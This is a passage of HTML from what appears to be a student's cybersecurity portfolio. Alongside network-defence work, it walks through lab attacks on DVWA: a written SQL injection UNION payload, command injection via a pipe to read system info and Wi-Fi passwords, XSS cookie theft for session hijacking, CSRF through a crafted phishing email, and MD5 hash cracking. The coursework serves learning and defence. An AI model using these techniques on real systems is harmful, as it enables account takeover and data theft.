learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a 